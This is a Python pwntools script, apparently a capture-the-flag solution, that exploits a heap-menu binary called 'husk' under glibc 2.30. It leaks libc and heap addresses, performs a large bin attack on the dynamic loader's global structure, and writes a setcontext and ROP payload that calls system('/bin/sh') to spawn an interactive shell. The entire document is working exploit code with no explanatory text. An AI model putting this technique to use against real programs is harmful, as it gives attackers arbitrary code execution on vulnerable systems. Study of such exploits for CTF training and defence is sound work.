1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96
| from pwn import *
sh=process('./husk')
libc=ELF('/home/lol/glibc-all-in-one/libs/2.30-0ubuntu2_amd64/libc-2.30.so')
def add(size,content = ''): sh.sendlineafter('>>','1') sh.sendlineafter('Size:',str(size)) if content != '': sh.sendafter('Content:',content)
def delete(index): sh.sendlineafter('>>','2') sh.sendlineafter('Index:',str(index))
def show(index): sh.sendlineafter('>>','3') sh.sendlineafter('Index:',str(index))
def edit(index,content): sh.sendlineafter('>>','4') sh.sendlineafter('Index:',str(index)) sh.sendafter('Content:',content)
add(0x520,'a'*0x520) add(0x428,'b'*0x428) add(0x500,'c'*0x500) add(0x420,'d'*0x420)
delete(0) add(0x600,'c'*0x600) add(0x600,'c'*0x600) show(0) sh.recvuntil('Content: ') main_arena_xx = u64(sh.recv(6).ljust(8,'\x00')) libc_base = main_arena_xx - 0x1eb010 print 'libc_base=',hex(libc_base) global_max_fast = libc_base + 0x1edb78 print 'global_max_fast=',hex(global_max_fast) rtl_global = libc_base + 0x220060 print 'rtl_global=',hex(rtl_global) set_context = libc_base + libc.sym['setcontext'] + 0x3D ret = libc_base + libc.sym['setcontext'] + 0x14E pop_rdi = libc_base + 0x00000000000277e9 binsh_addr = libc_base + libc.search('/bin/sh').next() system_addr = libc_base + libc.sym['system']
edit(0,'a'*0x10) show(0) sh.recvuntil('a'*0x10) heap_addr = u64(sh.recv(6).ljust(8,'\x00')) print 'heap_addr=',hex(heap_addr) edit(0,p64(main_arena_xx)*2)
delete(2) delete(4)
edit(0,p64(0) + p64(0) + p64(0) + p64(rtl_global - 0x20))
add(0x600,'large bin attack!!')
payload = p64(0) + p64(libc_base + 0x221730) + p64(0) + p64(heap_addr + 0x960) payload += p64(set_context) + p64(ret)
payload += p64(binsh_addr) payload += p64(0) payload += p64(system_addr) payload += '\x00'*0x80
payload += p64(heap_addr + 0x960 + 0x28 + 0x18)
payload += p64(pop_rdi) payload = payload.ljust(0x100,'\x00') payload += p64(heap_addr + 0x960 + 0x10 + 0x110)*0x3 payload += p64(0x10) payload = payload.ljust(0x31C - 0x10,'\x00') payload += p8(0x8) edit(2,payload)
edit(1,'b'*0x420 + p64(heap_addr + 0x960 + 0x20))
sh.sendlineafter('>>','5') sh.sendlineafter('name:','haivk')
sh.interactive()
|